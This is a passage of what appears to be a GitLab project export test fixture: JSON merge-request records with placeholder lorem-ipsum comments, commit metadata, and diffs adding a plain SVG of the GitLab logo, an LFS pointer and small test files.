fill=\"#8C929D\" sketch:type=\"MSShapeGroup\"></path>\n+ <g id=\"g44\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(0.464170, 0.676006)\">\n+ <path d=\"M429.269989,169.815599 L405.225053,243.802859 L357.571431,390.440955 C355.120288,397.984955 344.444378,397.984955 341.992071,390.440955 L294.337286,243.802859 L136.094873,243.802859 L88.4389245,390.440955 C85.9877812,397.984955 75.3118715,397.984955 72.8595648,390.440955 L25.2059427,243.802859 L1.16216997,169.815599 C-1.03187664,163.067173 1.37156997,155.674379 7.11261982,151.503429 L215.215498,0.336141836 L423.319539,151.503429 C429.060589,155.674379 431.462873,163.067173 429.269989,169.815599\" id=\"path46\" fill=\"#FC6D26\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g48\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(135.410135, 1.012147)\">\n+ <path d=\"M80.269998,0 L80.269998,0 L159.391786,243.466717 L1.14820997,243.466717 L80.269998,0 L80.269998,0 Z\" id=\"path50\" fill=\"#E24329\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g52\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(215.680133, 1.012147)\">\n+ <g id=\"path54\"></g>\n+ </g>\n+ <g id=\"g56\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(24.893471, 1.012613)\">\n+ <path d=\"M190.786662,0 L111.664874,243.465554 L0.777106647,243.465554 L190.786662,0 L190.786662,0 Z\" id=\"path58\" fill=\"#FC6D26\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g60\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(215.680133, 1.012613)\">\n+ <g id=\"path62\"></g>\n+ </g>\n+ <g id=\"g64\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(0.077245, 0.223203)\">\n+ <path d=\"M25.5933327,244.255313 L25.5933327,244.255313 L1.54839663,170.268052 C-0.644486651,163.519627 1.75779662,156.126833 7.50000981,151.957046 L215.602888,0.789758846 L25.5933327,244.255313 L25.5933327,244.255313 Z\" id=\"path66\" fill=\"#FCA326\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g68\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(215.680133, 1.012147)\">\n+ <g id=\"path70\"></g>\n+ </g>\n+ <g id=\"g72\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(25.670578, 244.478283)\">\n+ <path d=\"M0,0 L110.887767,0 L63.2329818,146.638096 C60.7806751,154.183259 50.1047654,154.183259 47.6536221,146.638096 L0,0 L0,0 Z\" id=\"path74\" fill=\"#E24329\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g76\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(215.680133, 1.012613)\">\n+ <path d=\"M0,0 L79.121788,243.465554 L190.009555,243.465554 L0,0 L0,0 Z\" id=\"path78\" fill=\"#FC6D26\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g80\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(214.902910, 0.223203)\">\n+ <path d=\"M190.786662,244.255313 L190.786662,244.255313 L214.831598,170.268052 C217.024481,163.519627 214.622198,156.126833 208.879985,151.957046 L0.777106647,0.789758846 L190.786662,244.255313 L190.786662,244.255313 Z\" id=\"path82\" fill=\"#FCA326\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g84\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(294.009575, 244.478283)\">\n+ <path d=\"M111.679997,0 L0.79222998,0 L48.4470155,146.638096 C50.8993221,154.183259 61.5752318,154.183259 64.0263751,146.638096 L111.679997,0 L111.679997,0 Z\" id=\"path86\" fill=\"#E24329\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ </g>\n+ </g>\n+ </g>\n+ </g>\n+ </g>\n+ </g>\n+ </g>\n+</svg>\n\\ No newline at end of file\n","new_path":"files/images/wm.svg","old_path":"files/images/wm.svg","a_mode":"0","b_mode":"100644","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":13,"relative_order":3,"utf8_diff":"--- /dev/null\n+++ b/files/lfs/lfs_object.iso\n@@ -0,0 +1,4 @@\n+version https://git-lfs.github.com/spec/v1\n+oid sha256:91eff75a492a3ed0dfcb544d7f31326bc4014c8551849c192fd1e48d4dd2c897\n+size 1575078\n+\n","new_path":"files/lfs/lfs_object.iso","old_path":"files/lfs/lfs_object.iso","a_mode":"0","b_mode":"100644","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":13,"relative_order":4,"utf8_diff":"--- /dev/null\n+++ b/files/whitespace\n@@ -0,0 +1 @@\n+test \n","new_path":"files/whitespace","old_path":"files/whitespace","a_mode":"0","b_mode":"100644","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":13,"relative_order":5,"utf8_diff":"--- /dev/null\n+++ b/foo/bar/.gitkeep\n","new_path":"foo/bar/.gitkeep","old_path":"foo/bar/.gitkeep","a_mode":"0","b_mode":"100644","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":13,"relative_order":6,"utf8_diff":"--- /dev/null\n+++ b/test\n","new_path":"test","old_path":"test","a_mode":"0","b_mode":"100644","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false}],"merge_request_id":13,"created_at":"2016-06-14T15:02:24.420Z","updated_at":"2016-06-14T15:02:24.561Z","base_commit_sha":"5937ac0a7beb003549fc5fd26fc247adbce4a52e","real_size":"7"},"events":[{"id":225,"target_type":"MergeRequest","target_id":13,"project_id":36,"created_at":"2016-06-14T15:02:24.636Z","updated_at":"2016-06-14T15:02:24.636Z","action":1,"author_id":16},{"id":173,"target_type":"MergeRequest","target_id":13,"project_id":5,"created_at":"2016-06-14T15:02:24.636Z","updated_at":"2016-06-14T15:02:24.636Z","action":1,"author_id":16}]}
-{"id":12,"target_branch":"flatten-dirs","source_branch":"test-2","source_project_id":5,"author_id":1,"assignee_id":22,"title":"In a rerum harum nihil accusamus aut quia nobis non.","created_at":"2016-06-14T15:02:24.000Z","updated_at":"2016-06-14T15:03:00.225Z","state":"opened","merge_status":"unchecked","target_project_id":5,"iid":4,"description":"Nam magnam odit velit rerum. Sapiente dolore sunt saepe debitis. Culpa maiores ut ad dolores dolorem et.","position":0,"updated_by_id":null,"merge_error":null,"merge_params":{"force_remove_source_branch":null},"merge_when_pipeline_succeeds":false,"merge_user_id":null,"merge_commit_sha":null,"notes":[{"id":801,"note":"Nihil dicta molestias expedita atque.","noteable_type":"MergeRequest","author_id":26,"created_at":"2016-06-14T15:03:00.001Z","updated_at":"2016-06-14T15:03:00.001Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":12,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"User 4"},"events":[]},{"id":802,"note":"Illum culpa voluptas enim accusantium deserunt.","noteable_type":"MergeRequest","author_id":25,"created_at":"2016-06-14T15:03:00.034Z","updated_at":"2016-06-14T15:03:00.034Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":12,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"User 3"},"events":[]},{"id":803,"note":"Dicta esse aliquam laboriosam unde alias.","noteable_type":"MergeRequest","author_id":22,"created_at":"2016-06-14T15:03:00.065Z","updated_at":"2016-06-14T15:03:00.065Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":12,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"User 0"},"events":[]},{"id":804,"note":"Dicta autem et sed molestiae ut quae.","noteable_type":"MergeRequest","author_id":20,"created_at":"2016-06-14T15:03:00.097Z","updated_at":"2016-06-14T15:03:00.097Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":12,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Ottis Schuster II"},"events":[]},{"id":805,"note":"Ut ut temporibus voluptas dolore quia velit.","noteable_type":"MergeRequest","author_id":16,"created_at":"2016-06-14T15:03:00.129Z","updated_at":"2016-06-14T15:03:00.129Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":12,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Rhett Emmerich IV"},"events":[]},{"id":806,"note":"Dolores similique sint pariatur error id quia fugit aut.","noteable_type":"MergeRequest","author_id":15,"created_at":"2016-06-14T15:03:00.162Z","updated_at":"2016-06-14T15:03:00.162Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":12,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Burdette Bernier"},"events":[]},{"id":807,"note":"Quisquam provident nihil aperiam voluptatem.","noteable_type":"MergeRequest","author_id":6,"created_at":"2016-06-14T15:03:00.193Z","updated_at":"2016-06-14T15:03:00.193Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":12,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Ari Wintheiser"},"events":[]},{"id":808,"note":"Similique quo vero expedita deserunt ipsam earum.","noteable_type":"MergeRequest","author_id":1,"created_at":"2016-06-14T15:03:00.224Z","updated_at":"2016-06-14T15:03:00.224Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":12,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Administrator"},"events":[]}],"merge_request_diff":{"id":12,"state":"collected","merge_request_diff_commits":[{"merge_request_diff_id":12,"relative_order":0,"sha":"97a0df9696e2aebf10c31b3016f40214e0e8f243","message":"fixes #10\n","authored_date":"2016-01-19T14:08:21.000+01:00","author_name":"James Lopez","author_email":"james@jameslopez.es","committed_date":"2016-01-19T14:08:21.000+01:00","committer_name":"James Lopez","committer_email":"james@jameslopez.es"},{"merge_request_diff_id":12,"relative_order":1,"sha":"be93687618e4b132087f430a4d8fc3a609c9b77c","message":"Merge branch 'master' into 'master'\r\n\r\nLFS object pointer.\r\n\r\n\r\n\r\nSee merge request !6","authored_date":"2015-12-07T12:52:12.000+01:00","author_name":"Marin Jankovski","author_email":"marin@gitlab.com","committed_date":"2015-12-07T12:52:12.000+01:00","committer_name":"Marin Jankovski","committer_email":"marin@gitlab.com"},{"merge_request_diff_id":12,"relative_order":2,"sha":"048721d90c449b244b7b4c53a9186b04330174ec","message":"LFS object pointer.\n","authored_date":"2015-12-07T11:54:28.000+01:00","author_name":"Marin Jankovski","author_email":"maxlazio@gmail.com","committed_date":"2015-12-07T11:54:28.000+01:00","committer_name":"Marin Jankovski","committer_email":"maxlazio@gmail.com"},{"merge_request_diff_id":12,"relative_order":3,"sha":"5f923865dde3436854e9ceb9cdb7815618d4e849","message":"GitLab currently doesn't support patches that involve a merge commit: add a commit here\n","authored_date":"2015-11-13T16:27:12.000+01:00","author_name":"Stan Hu","author_email":"stanhu@gmail.com","committed_date":"2015-11-13T16:27:12.000+01:00","committer_name":"Stan Hu","committer_email":"stanhu@gmail.com"},{"merge_request_diff_id":12,"relative_order":4,"sha":"d2d430676773caa88cdaf7c55944073b2fd5561a","message":"Merge branch 'add-svg' into 'master'\r\n\r\nAdd GitLab SVG\r\n\r\nAdded to test preview of sanitized SVG images\r\n\r\nSee merge request !5","authored_date":"2015-11-13T08:50:17.000+01:00","author_name":"Stan Hu","author_email":"stanhu@gmail.com","committed_date":"2015-11-13T08:50:17.000+01:00","committer_name":"Stan Hu","committer_email":"stanhu@gmail.com"},{"merge_request_diff_id":12,"relative_order":5,"sha":"2ea1f3dec713d940208fb5ce4a38765ecb5d3f73","message":"Add GitLab SVG\n","authored_date":"2015-11-13T08:39:43.000+01:00","author_name":"Stan Hu","author_email":"stanhu@gmail.com","committed_date":"2015-11-13T08:39:43.000+01:00","committer_name":"Stan Hu","committer_email":"stanhu@gmail.com"},{"merge_request_diff_id":12,"relative_order":6,"sha":"59e29889be61e6e0e5e223bfa9ac2721d31605b8","message":"Merge branch 'whitespace' into 'master'\r\n\r\nadd whitespace test file\r\n\r\nSorry, I did a mistake.\r\nGit ignore empty files.\r\nSo I add a new whitespace test file.\r\n\r\nSee merge request !4","authored_date":"2015-11-13T07:21:40.000+01:00","author_name":"Stan Hu","author_email":"stanhu@gmail.com","committed_date":"2015-11-13T07:21:40.000+01:00","committer_name":"Stan Hu","committer_email":"stanhu@gmail.com"},{"merge_request_diff_id":12,"relative_order":7,"sha":"66eceea0db202bb39c4e445e8ca28689645366c5","message":"add spaces in whitespace file\n","authored_date":"2015-11-13T06:01:27.000+01:00","author_name":"윤민ì‹","author_email":"minsik.yoon@samsung.com","committed_date":"2015-11-13T06:01:27.000+01:00","committer_name":"윤민ì‹","committer_email":"minsik.yoon@samsung.com"},{"merge_request_diff_id":12,"relative_order":8,"sha":"08f22f255f082689c0d7d39d19205085311542bc","message":"remove empty file.(beacase git ignore empty file)\nadd whitespace test file.\n","authored_date":"2015-11-13T06:00:16.000+01:00","author_name":"윤민ì‹","author_email":"minsik.yoon@samsung.com","committed_date":"2015-11-13T06:00:16.000+01:00","committer_name":"윤민ì‹","committer_email":"minsik.yoon@samsung.com"},{"merge_request_diff_id":12,"relative_order":9,"sha":"19e2e9b4ef76b422ce1154af39a91323ccc57434","message":"Merge branch 'whitespace' into 'master'\r\n\r\nadd spaces\r\n\r\nTo test this pull request.(https://github.com/gitlabhq/gitlabhq/pull/9757)\r\nJust add whitespaces.\r\n\r\nSee merge request !3","authored_date":"2015-11-13T05:23:14.000+01:00","author_name":"Stan Hu","author_email":"stanhu@gmail.com","committed_date":"2015-11-13T05:23:14.000+01:00","committer_name":"Stan Hu","committer_email":"stanhu@gmail.com"},{"merge_request_diff_id":12,"relative_order":10,"sha":"c642fe9b8b9f28f9225d7ea953fe14e74748d53b","message":"add whitespace in empty\n","authored_date":"2015-11-13T05:08:45.000+01:00","author_name":"윤민ì‹","author_email":"minsik.yoon@samsung.com","committed_date":"2015-11-13T05:08:45.000+01:00","committer_name":"윤민ì‹","committer_email":"minsik.yoon@samsung.com"},{"merge_request_diff_id":12,"relative_order":11,"sha":"9a944d90955aaf45f6d0c88f30e27f8d2c41cec0","message":"add empty file\n","authored_date":"2015-11-13T05:08:04.000+01:00","author_name":"윤민ì‹","author_email":"minsik.yoon@samsung.com","committed_date":"2015-11-13T05:08:04.000+01:00","committer_name":"윤민ì‹","committer_email":"minsik.yoon@samsung.com"},{"merge_request_diff_id":12,"relative_order":12,"sha":"c7fbe50c7c7419d9701eebe64b1fdacc3df5b9dd","message":"Add ISO-8859 test file\n","authored_date":"2015-08-25T17:53:12.000+02:00","author_name":"Stan Hu","author_email":"stanhu@packetzoom.com","committed_date":"2015-08-25T17:53:12.000+02:00","committer_name":"Stan Hu","committer_email":"stanhu@packetzoom.com"}],"merge_request_diff_files":[{"merge_request_diff_id":12,"relative_order":0,"utf8_diff":"--- a/CHANGELOG\n+++ b/CHANGELOG\n@@ -1,4 +1,6 @@\n-v 6.7.0\n+v6.8.0\n+\n+v6.7.0\n - Add support for Gemnasium as a Project Service (Olivier Gonzalez)\n - Add edit file button to MergeRequest diff\n - Public groups (Jason Hollingsworth)\n","new_path":"CHANGELOG","old_path":"CHANGELOG","a_mode":"100644","b_mode":"100644","new_file":false,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":12,"relative_order":1,"utf8_diff":"--- /dev/null\n+++ b/encoding/iso8859.txt\n@@ -0,0 +1 @@\n+Äü\n","new_path":"encoding/iso8859.txt","old_path":"encoding/iso8859.txt","a_mode":"0","b_mode":"100644","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":12,"relative_order":2,"utf8_diff":"--- /dev/null\n+++ b/files/images/wm.svg\n@@ -0,0 +1,78 @@\n+<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n+<svg width=\"1300px\" height=\"680px\" viewBox=\"0 0 1300 680\" version=\"1.1\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" xmlns:sketch=\"http://www.bohemiancoding.com/sketch/ns\">\n+ <!-- Generator: Sketch 3.2.2 (9983) - http://www.bohemiancoding.com/sketch -->\n+ <title>wm</title>\n+ <desc>Created with Sketch.</desc>\n+ <defs>\n+ <path id=\"path-1\" d=\"M-69.8,1023.54607 L1675.19996,1023.54607 L1675.19996,0 L-69.8,0 L-69.8,1023.54607 L-69.8,1023.54607 Z\"></path>\n+ </defs>\n+ <g id=\"Page-1\" stroke=\"none\" stroke-width=\"1\" fill=\"none\" fill-rule=\"evenodd\" sketch:type=\"MSPage\">\n+ <path d=\"M1300,680 L0,680 L0,0 L1300,0 L1300,680 L1300,680 Z\" id=\"bg\" fill=\"#30353E\" sketch:type=\"MSShapeGroup\"></path>\n+ <g id=\"gitlab_logo\" sketch:type=\"MSLayerGroup\" transform=\"translate(-262.000000, -172.000000)\">\n+ <g id=\"g10\" transform=\"translate(872.500000, 512.354581) scale(1, -1) translate(-872.500000, -512.354581) translate(0.000000, 0.290751)\">\n+ <g id=\"g12\" transform=\"translate(1218.022652, 440.744871)\" fill=\"#8C929D\" sketch:type=\"MSShapeGroup\">\n+ <path d=\"M-50.0233338,141.900706 L-69.07059,141.900706 L-69.0100967,0.155858152 L8.04444805,0.155858152 L8.04444805,17.6840847 L-49.9628405,17.6840847 L-50.0233338,141.900706 L-50.0233338,141.900706 Z\" id=\"path14\"></path>\n+ </g>\n+ <g id=\"g16\">\n+ <g id=\"g18-Clipped\">\n+ <mask id=\"mask-2\" sketch:name=\"path22\" fill=\"white\">\n+ <use xlink:href=\"#path-1\"></use>\n+ </mask>\n+ <g id=\"path22\"></g>\n+ <g id=\"g18\" mask=\"url(#mask-2)\">\n+ <g transform=\"translate(382.736659, 312.879425)\">\n+ <g id=\"g24\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(852.718192, 124.992771)\">\n+ <path d=\"M63.9833317,27.9148929 C59.2218085,22.9379001 51.2134221,17.9597442 40.3909323,17.9597442 C25.8888194,17.9597442 20.0453962,25.1013043 20.0453962,34.4074318 C20.0453962,48.4730484 29.7848226,55.1819277 50.5642821,55.1819277 C54.4602853,55.1819277 60.7364685,54.7492469 63.9833317,54.1002256 L63.9833317,27.9148929 L63.9833317,27.9148929 Z M44.2869356,113.827628 C28.9053426,113.827628 14.7975996,108.376082 3.78897657,99.301416 L10.5211864,87.6422957 C18.3131929,92.1866076 27.8374026,96.7320827 41.4728323,96.7320827 C57.0568452,96.7320827 63.9833317,88.7239978 63.9833317,75.3074024 L63.9833317,68.3821827 C60.9528485,69.0312039 54.6766653,69.4650479 50.7806621,69.4650479 C17.4476729,69.4650479 0.565379986,57.7791759 0.565379986,33.3245665 C0.565379986,11.4683685 13.9844297,0.43151772 34.3299658,0.43151772 C48.0351955,0.43151772 61.1692285,6.70771614 65.7143717,16.8780421 L69.1776149,3.02876588 L82.5978279,3.02876588 L82.5978279,75.5237428 C82.5978279,98.462806 72.6408582,113.827628 44.2869356,113.827628 L44.2869356,113.827628 Z\" id=\"path26\" fill=\"#8C929D\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g28\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(959.546624, 124.857151)\">\n+ <path d=\"M37.2266657,17.4468081 C30.0837992,17.4468081 23.8064527,18.3121698 19.0449295,20.4767371 L19.0449295,79.2306079 L19.0449295,86.0464943 C25.538656,91.457331 33.5470425,95.3526217 43.7203922,95.3526217 C62.1173451,95.3526217 69.2602116,82.3687072 69.2602116,61.3767077 C69.2602116,31.5135879 57.7885819,17.4468081 37.2266657,17.4468081 M45.2315622,113.963713 C28.208506,113.963713 19.0449295,102.384849 19.0449295,102.384849 L19.0449295,120.67143 L18.9844362,144.908535 L10.3967097,144.908535 L0.371103324,144.908535 L0.431596656,6.62629771 C9.73826309,2.73100702 22.5081728,0.567602823 36.3611458,0.567602823 C71.8579349,0.567602823 88.9566078,23.2891625 88.9566078,62.4584098 C88.9566078,93.4043948 73.1527248,113.963713 45.2315622,113.963713\" id=\"path30\" fill=\"#8C929D\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g32\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(509.576747, 125.294950)\">\n+ <path d=\"M68.636665,129.10638 C85.5189579,129.10638 96.3414476,123.480366 103.484314,117.853189 L111.669527,132.029302 C100.513161,141.811145 85.5073245,147.06845 69.5021849,147.06845 C29.0274926,147.06845 0.673569983,122.3975 0.673569983,72.6252464 C0.673569983,20.4709215 31.2622559,0.12910638 66.2553217,0.12910638 C83.7879179,0.12910638 98.7227909,4.24073748 108.462217,8.35236859 L108.063194,64.0763105 L108.063194,70.6502677 L108.063194,81.6057001 L56.1168719,81.6057001 L56.1168719,64.0763105 L89.2323178,64.0763105 L89.6313411,21.7701271 C85.3025779,19.6055598 77.7269514,17.8748364 67.554765,17.8748364 C39.4172223,17.8748364 20.5863462,35.5717154 20.5863462,72.8415868 C20.5863462,110.711628 40.0663623,129.10638 68.636665,129.10638\" id=\"path34\" fill=\"#8C929D\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g36\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(692.388992, 124.376085)\">\n+ <path d=\"M19.7766662,145.390067 L1.16216997,145.390067 L1.2226633,121.585642 L1.2226633,111.846834 L1.2226633,106.170806 L1.2226633,96.2656714 L1.2226633,39.5681976 L1.2226633,39.3518572 C1.2226633,16.4127939 11.1796331,1.04797161 39.5335557,1.04797161 C43.4504989,1.04797161 47.2836822,1.40388649 51.0051854,2.07965952 L51.0051854,18.7925385 C48.3109055,18.3796307 45.4351455,18.1446804 42.3476589,18.1446804 C26.763646,18.1446804 19.8371595,26.1516022 19.8371595,39.5681976 L19.8371595,96.2656714 L51.0051854,96.2656714 L51.0051854,111.846834 L19.8371595,111.846834 L19.7766662,145.390067 L19.7766662,145.390067 Z\" id=\"path38\" fill=\"#8C929D\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <path d=\"M646.318899,128.021188 L664.933395,128.021188 L664.933395,236.223966 L646.318899,236.223966 L646.318899,128.021188 L646.318899,128.021188 Z\" id=\"path40\" fill=\"#8C929D\" sketch:type=\"MSShapeGroup\"></path>\n+ <path d=\"M646.318899,251.154944 L664.933395,251.154944 L664.933395,269.766036 L646.318899,269.766036 L646.318899,251.154944 L646.318899,251.154944 Z\" id=\"path42\" fill=\"#8C929D\" sketch:type=\"MSShapeGroup\"></path>\n+ <g id=\"g44\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(0.464170, 0.676006)\">\n+ <path d=\"M429.269989,169.815599 L405.225053,243.802859 L357.571431,390.440955 C355.120288,397.984955 344.444378,397.984955 341.992071,390.440955 L294.337286,243.802859 L136.094873,243.802859 L88.4389245,390.440955 C85.9877812,397.984955 75.3118715,397.984955 72.8595648,390.440955 L25.2059427,243.802859 L1.16216997,169.815599 C-1.03187664,163.067173 1.37156997,155.674379 7.11261982,151.503429 L215.215498,0.336141836 L423.319539,151.503429 C429.060589,155.674379 431.462873,163.067173 429.269989,169.815599\" id=\"path46\" fill=\"#FC6D26\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g48\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(135.410135, 1.012147)\">\n+ <path d=\"M80.269998,0 L80.269998,0 L159.391786,243.466717 L1.14820997,243.466717 L80.269998,0 L80.269998,0 Z\" id=\"path50\" fill=\"#E24329\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g52\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(215.680133, 1.012147)\">\n+ <g id=\"path54\"></g>\n+ </g>\n+ <g id=\"g56\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(24.893471, 1.012613)\">\n+ <path d=\"M190.786662,0 L111.664874,243.465554 L0.777106647,243.465554 L190.786662,0 L190.786662,0 Z\" id=\"path58\" fill=\"#FC6D26\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g60\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(215.680133, 1.012613)\">\n+ <g id=\"path62\"></g>\n+ </g>\n+ <g id=\"g64\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(0.077245, 0.223203)\">\n+ <path d=\"M25.5933327,244.255313 L25.5933327,244.255313 L1.54839663,170.268052 C-0.644486651,163.519627 1.75779662,156.126833 7.50000981,151.957046 L215.602888,0.789758846 L25.5933327,244.255313 L25.5933327,244.255313 Z\" id=\"path66\" fill=\"#FCA326\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g68\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(215.680133, 1.012147)\">\n+ <g id=\"path70\"></g>\n+ </g>\n+ <g id=\"g72\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(25.670578, 244.478283)\">\n+ <path d=\"M0,0 L110.887767,0 L63.2329818,146.638096 C60.7806751,154.183259 50.1047654,154.183259 47.6536221,146.638096 L0,0 L0,0 Z\" id=\"path74\" fill=\"#E24329\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g76\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(215.680133, 1.012613)\">\n+ <path d=\"M0,0 L79.121788,243.465554 L190.009555,243.465554 L0,0 L0,0 Z\" id=\"path78\" fill=\"#FC6D26\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g80\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(214.902910, 0.223203)\">\n+ <path d=\"M190.786662,244.255313 L190.786662,244.255313 L214.831598,170.268052 C217.024481,163.519627 214.622198,156.126833 208.879985,151.957046 L0.777106647,0.789758846 L190.786662,244.255313 L190.786662,244.255313 Z\" id=\"path82\" fill=\"#FCA326\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g84\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(294.009575, 244.478283)\">\n+ <path d=\"M111.679997,0 L0.79222998,0 L48.4470155,146.638096 C50.8993221,154.183259 61.5752318,154.183259 64.0263751,146.638096 L111.679997,0 L111.679997,0 Z\" id=\"path86\" fill=\"#E24329\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ </g>\n+ </g>\n+ </g>\n+ </g>\n+ </g>\n+ </g>\n+ </g>\n+</svg>\n\\ No newline at end of file\n","new_path":"files/images/wm.svg","old_path":"files/images/wm.svg","a_mode":"0","b_mode":"100644","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":12,"relative_order":3,"utf8_diff":"--- /dev/null\n+++ b/files/lfs/lfs_object.iso\n@@ -0,0 +1,4 @@\n+version https://git-lfs.github.com/spec/v1\n+oid sha256:91eff75a492a3ed0dfcb544d7f31326bc4014c8551849c192fd1e48d4dd2c897\n+size 1575078\n+\n","new_path":"files/lfs/lfs_object.iso","old_path":"files/lfs/lfs_object.iso","a_mode":"0","b_mode":"100644","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":12,"relative_order":4,"utf8_diff":"--- /dev/null\n+++ b/files/whitespace\n@@ -0,0 +1 @@\n+test \n","new_path":"files/whitespace","old_path":"files/whitespace","a_mode":"0","b_mode":"100644","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":12,"relative_order":5,"utf8_diff":"--- /dev/null\n+++ b/test\n","new_path":"test","old_path":"test","a_mode":"0","b_mode":"100644","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false}],"merge_request_id":12,"created_at":"2016-06-14T15:02:24.006Z","updated_at":"2016-06-14T15:02:24.169Z","base_commit_sha":"e56497bb5f03a90a51293fc6d516788730953899","real_size":"6"},"events":[{"id":226,"target_type":"MergeRequest","target_id":12,"project_id":36,"created_at":"2016-06-14T15:02:24.253Z","updated_at":"2016-06-14T15:02:24.253Z","action":1,"author_id":1},{"id":172,"target_type":"MergeRequest","target_id":12,"project_id":5,"created_at":"2016-06-14T15:02:24.253Z","updated_at":"2016-06-14T15:02:24.253Z","action":1,"author_id":1}]}
